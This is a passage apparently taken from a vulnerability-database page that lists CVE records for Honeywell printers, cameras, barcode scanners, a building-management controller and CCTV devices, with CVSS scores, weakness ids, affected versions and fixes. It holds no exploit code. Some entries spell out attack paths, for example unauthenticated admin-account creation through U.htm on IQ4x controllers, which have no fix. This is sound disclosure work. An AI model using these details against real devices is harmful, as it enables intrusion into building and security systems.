"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "PD45 Industrial Printer",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "F10.22.030745",
"status": "affected",
"version": "F10.19.010040",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matheus Vianna Silveira"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040,\u0026nbsp;\u003cspan\u003eallows\u0026nbsp;\u003c/span\u003e\u003cspan\u003ean\u0026nbsp;\u003c/span\u003e\u003cspan\u003eauthenticated\u0026nbsp;\u003c/span\u003e\u003cspan\u003euser\u0026nbsp;\u003c/span\u003e\u003cspan\u003ewith\u0026nbsp;\u003c/span\u003e\u003cspan\u003eaccess\u0026nbsp;\u003c/span\u003e\u003cspan\u003eto\u0026nbsp;\u003c/span\u003e\u003cspan\u003ethe\u0026nbsp;\u003c/span\u003e\u003cspan\u003eadmin\u0026nbsp;\u003c/span\u003e\u003cspan\u003eor\u0026nbsp;\u003c/span\u003e\u003cspan\u003eitadmin\u0026nbsp;\u003c/span\u003e\u003cspan\u003eaccount\u0026nbsp;\u003c/span\u003e\u003cspan\u003eto\u0026nbsp;\u003c/span\u003e\u003cspan\u003esubmit\u0026nbsp;\u003c/span\u003e\u003cspan\u003ecommands\u0026nbsp;\u003c/span\u003e\u003cspan\u003ewritten\u0026nbsp;\u003c/span\u003e\u003cspan\u003ein\u0026nbsp;\u003c/span\u003e\u003cspan\u003ethe\u0026nbsp;\u003c/span\u003e\u003cspan\u003eIntermec\u0026nbsp;\u003c/span\u003e\u003cspan\u003eFingerprint\u0026nbsp;\u003c/span\u003e\u003cspan\u003eprogramming\u0026nbsp;\u003c/span\u003e\u003cspan\u003elanguage\u0026nbsp;\u003c/span\u003e\u003cspan\u003edirectly\u0026nbsp;\u003c/span\u003e\u003cspan\u003eto\u0026nbsp;\u003c/span\u003e\u003cspan\u003ethe\u0026nbsp;\u003c/span\u003e\u003cspan\u003eprinter\u0026nbsp;\u003c/span\u003e\u003cspan\u003e\u2019s\u0026nbsp;\u003c/span\u003e\u003cspan\u003einternal\u0026nbsp;\u003c/span\u003e\u003cspan\u003ecommand\u0026nbsp;\u003c/span\u003e\u003cspan\u003einterpreter\u003c/span\u003e\u003cspan\u003e.\u0026nbsp;\u003c/span\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cdiv\u003eAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability.\u003c/div\u003e\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cbr\u003e\u003c/div\u003e\u003c/div\u003e"
}
],
"value": "An Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface vulnerability in the web management interface in Honeywell PD45 Industrial Printer version F10.19.010040,\u00a0allows\u00a0an\u00a0authenticated\u00a0user\u00a0with\u00a0access\u00a0to\u00a0the\u00a0admin\u00a0or\u00a0itadmin\u00a0account\u00a0to\u00a0submit\u00a0commands\u00a0written\u00a0in\u00a0the\u00a0Intermec\u00a0Fingerprint\u00a0programming\u00a0language\u00a0directly\u00a0to\u00a0the\u00a0printer\u00a0\u2019s\u00a0internal\u00a0command\u00a0interpreter.\u00a0\n\n\nAn attacker could potentially exploit this vulnerability, leading to the execution of malicious files and commands. Honeywell also recommends updating to the most recent firmware version, Honeywell PD45 Industrial Printer firmware F10.22.030745, which includes a fix for this vulnerability."
}
],
"impacts": [
{
"capecId": "CAPEC-17",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-17 Using Malicious Files"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73 External control of file name or path",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-434",
"description": "CWE-434 Unrestricted upload of file with dangerous type",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper neutralization of special elements used in an OS command (\u0027OS command injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-24T18:27:33.569Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://www.honeywell.com/us/en/legal/product-security#security-notices"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Authenticated Remote Code Execution via Arbitrary File Write in the Intermec Fingerprint Command Interface",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-13248",
"datePublished": "2026-09-24T18:27:33.569Z",
"dateReserved": "2026-06-24T18:04:28.287Z",
"dateUpdated": "2026-09-24T19:19:53.714Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17612 (GCVE-0-2026-17612)
Vulnerability from nvd – Published: 2026-07-27 18:45 – Updated: 2026-07-27 19:37
VLAI
EPSS
VEX
Title
Audit Log Exposure through Unauthorized Access
Summary
Honeywell S35 Series 3M/5M/8M/PinHole Cameras, all versions prior to and including version HC5.26.1.14.20260207 contains an audit log disclosure Vulnerability that could allow an attacker to access audit logs without authentication, potentially resulting in the disclosure of sensitive information. Honeywell recommends updating to the latest available version (HC5.26.1.16.20260207) once available.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-27 19:37 UTC
CWE
- CWE-200 - - Exposure of Sensitive Information to an Unauthorized Actor
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | S35 Series 3M/5M/8M/PinHole Cameras |
Affected:
HC4.25.1.27.20250728 , ≤ HC5.26.1.14.20260207
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17612",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-27T19:37:31.825233Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-27T19:37:40.824Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "S35 Series 3M/5M/8M/PinHole Cameras",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "HC5.26.1.14.20260207",
"status": "affected",
"version": "HC4.25.1.27.20250728",
"versionType": "custom"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell S35 Series 3M/5M/8M/PinHole Cameras, all versions prior to and including version HC5.26.1.14.20260207 contains an\u0026nbsp;audit log disclosure Vulnerability\u0026nbsp;that could allow an attacker to access audit logs\u0026nbsp;without authentication, potentially resulting in the disclosure of sensitive information. Honeywell recommends updating to the latest available version (HC5.26.1.16.20260207) once available."
}
],
"value": "Honeywell S35 Series 3M/5M/8M/PinHole Cameras, all versions prior to and including version HC5.26.1.14.20260207 contains an\u00a0audit log disclosure Vulnerability\u00a0that could allow an attacker to access audit logs\u00a0without authentication, potentially resulting in the disclosure of sensitive information. Honeywell recommends updating to the latest available version (HC5.26.1.16.20260207) once available."
}
],
"impacts": [
{
"capecId": "CAPEC-118",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-118 \u2013 Collect Data from Information Repositories"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-27T18:45:35.455Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://myhoneywellbuildingsuniversity.com/training/asp_support_download_center"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Audit Log Exposure through Unauthorized Access",
"x_generator": {
"engine": "Vulnogram 1.0.2"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-17612",
"datePublished": "2026-07-27T18:45:35.455Z",
"dateReserved": "2026-07-27T18:45:08.664Z",
"dateUpdated": "2026-07-27T19:37:40.824Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4272 (GCVE-0-2026-4272)
Vulnerability from nvd – Published: 2026-04-05 22:00 – Updated: 2026-04-06 14:01
VLAI
EPSS
VEX
Title
CVE-2026-4272 - Bluetooth Remote Execution of System Commands Vulnerability
Summary
Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.This issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.
This vulnerability could allow a remote attacker within Bluetooth range of the scanner's base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned CVE-2026-4272 https://nvd.nist.gov/vuln/detail/CVE-2026-4272 and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-06 14:00 UTC
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | Barcode Scanners |
Affected:
C1 Base(Ingenic x1000) , < GK000432BAA
(custom)
Affected: D1 Base(Ingenic x1600) , < HE000085BAA (custom) Affected: A1/B1 Base(IMX25) , < BK000763BAA_BK000765BAA_CU000101BAA (custom) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4272",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-06T14:00:57.144252Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-06T14:01:35.115Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Barcode Scanners",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "GK000432BAA",
"status": "affected",
"version": "C1 Base(Ingenic x1000)",
"versionType": "custom"
},
{
"lessThan": "HE000085BAA",
"status": "affected",
"version": "D1 Base(Ingenic x1600)",
"versionType": "custom"
},
{
"lessThan": "BK000763BAA_BK000765BAA_CU000101BAA",
"status": "affected",
"version": "A1/B1 Base(IMX25)",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Kaspersky"
},
{
"lang": "en",
"type": "finder",
"value": "Haidar Kabibo"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.\u003cp\u003eThis issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.\u003c/p\u003eThis vulnerability could allow a remote attacker within Bluetooth range of the scanner\u0027s base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned\u0026nbsp;\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-4272\"\u003eCVE-2026-4272\u003c/a\u003e and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability.\u003cbr\u003e\u003cbr\u003e\u003cbr\u003e"
}
],
"value": "Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.This issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.\n\nThis vulnerability could allow a remote attacker within Bluetooth range of the scanner\u0027s base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned\u00a0 CVE-2026-4272 https://nvd.nist.gov/vuln/detail/CVE-2026-4272 and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability."
}
],
"impacts": [
{
"capecId": "CAPEC-114",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-114 Authentication Abuse"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-05T22:00:27.141Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://https://nvd.nist.gov/vuln/detail/CVE-2026-4272"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "CVE-2026-4272 - Bluetooth Remote Execution of System Commands Vulnerability",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2026-4272",
"datePublished": "2026-04-05T22:00:27.141Z",
"dateReserved": "2026-03-16T14:45:35.186Z",
"dateUpdated": "2026-04-06T14:01:35.115Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-3611 (GCVE-0-2026-3611)
Vulnerability from nvd – Published: 2026-03-12 20:06 – Updated: 2026-03-30 15:26
VLAI
EPSS
VEX
Title
Honeywell IQ4x BMS Controller Missing authentication for critical function
Summary
The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no user module configured, security is disabled by design and the system operates under a System Guest (level 100) context, granting read/write privileges to any party able to reach the HTTP interface. Authentication controls are only enforced after a web user is created via U.htm, which dynamically enables the user module. Because this function is accessible prior to authentication, a remote user can create a new account with administrative read/write permissions enabling the user module and imposing authentication under attacker-controlled credentials. This action can effectively lock legitimate operators out of local and web-based configuration and administration.
Severity
10 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-13 18:02 UTC
CWE
- CWE-306 - Missing authentication for critical function
Assigner
References
Impacted products
7 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | IQ4E |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ412 |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ422 |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ4NC |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ41x |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQ3 |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
|
| Honeywell | IQECO |
Affected:
v3.50_3.44 , ≤ 4.36 (build 4.3.7.9)
(custom)
|
Date Public
2026-03-10 17:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-3611",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-13T18:02:46.954644Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-13T18:03:02.081Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "IQ4E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ412",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ422",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ4NC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ41x",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQ3",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "IQECO",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "4.36 (build 4.3.7.9)",
"status": "affected",
"version": "v3.50_3.44",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Gjoko Krstic of Zero Science reported this vulnerability to Honeywell."
}
],
"datePublic": "2026-03-10T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no user module configured, security is disabled by design and the system operates under a System Guest (level 100) context, granting read/write privileges to any party able to reach the HTTP interface. Authentication controls are only enforced after a web user is created via U.htm, which dynamically enables the user module. Because this function is accessible prior to authentication, a remote user can create a new account with administrative read/write permissions enabling the user module and imposing authentication under attacker-controlled credentials. This action can effectively lock legitimate operators out of local and web-based configuration and administration."
}
],
"value": "The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no user module configured, security is disabled by design and the system operates under a System Guest (level 100) context, granting read/write privileges to any party able to reach the HTTP interface. Authentication controls are only enforced after a web user is created via U.htm, which dynamically enables the user module. Because this function is accessible prior to authentication, a remote user can create a new account with administrative read/write permissions enabling the user module and imposing authentication under attacker-controlled credentials. This action can effectively lock legitimate operators out of local and web-based configuration and administration."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-30T15:26:08.604Z",
"orgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"shortName": "icscert"
},
"references": [
{
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-03"
},
{
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-069-03.json"
},
{
"url": "https://www.honeywell.com/us/en/contact"
}
],
"source": {
"advisory": "ICSA-26-069-03",
"discovery": "EXTERNAL"
},
"title": "Honeywell IQ4x BMS Controller Missing authentication for critical function",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell is aware of the issue, but has not released a fix. For more \ninformation, contact Honeywell directly. \n[https://www.honeywell.com/us/en/contact](https://www.honeywell.com/us/en/contact)."
}
],
"value": "Honeywell is aware of the issue, but has not released a fix. For more \ninformation, contact Honeywell directly. \n[https://www.honeywell.com/us/en/contact](https://www.honeywell.com/us/en/contact)."
}
],
"x_generator": {
"engine": "Vulnogram 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"assignerShortName": "icscert",
"cveId": "CVE-2026-3611",
"datePublished": "2026-03-12T20:06:05.753Z",
"dateReserved": "2026-03-05T18:12:38.425Z",
"dateUpdated": "2026-03-30T15:26:08.604Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-1670 (GCVE-0-2026-1670)
Vulnerability from nvd – Published: 2026-02-17 22:56 – Updated: 2026-02-18 20:45
VLAI
EPSS
VEX
Title
Honeywell CCTV Products Missing Authentication for Critical Function
Summary
The affected products are vulnerable to an unauthenticated API endpoint exposure, which may allow an attacker to remotely change the "forgot password" recovery email address.
Severity
9.8 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-18 20:45 UTC
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
Impacted products
4 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | I-HIB2PI-UL 2MP IP |
Affected:
6.1.22.1216
|
|
| Honeywell | SMB NDAA MVO-3 |
Affected:
WDR_2MP_32M_PTZ_v2.0
|
|
| Honeywell | PTZ WDR 2MP 32M |
Affected:
WDR_2MP_32M_PTZ_v2.0
|
|
| Honeywell | 25M IPC |
Affected:
WDR_2MP_32M_PTZ_v2.0
|
Date Public
2026-02-17 17:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-1670",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-18T20:45:37.144272Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-18T20:45:46.226Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "I-HIB2PI-UL 2MP IP",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "6.1.22.1216"
}
]
},
{
"defaultStatus": "unaffected",
"product": "SMB NDAA MVO-3",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "WDR_2MP_32M_PTZ_v2.0"
}
]
},
{
"defaultStatus": "unaffected",
"product": "PTZ WDR 2MP 32M",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "WDR_2MP_32M_PTZ_v2.0"
}
]
},
{
"defaultStatus": "unaffected",
"product": "25M IPC",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "WDR_2MP_32M_PTZ_v2.0"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Souvik Kandar reported this vulnerability to CISA."
}
],
"datePublic": "2026-02-17T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The affected products are vulnerable to an unauthenticated API endpoint exposure, which may allow an attacker to remotely change the \"forgot password\" recovery email address."
}
],
"value": "The affected products are vulnerable to an unauthenticated API endpoint exposure, which may allow an attacker to remotely change the \"forgot password\" recovery email address."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-17T22:56:00.586Z",
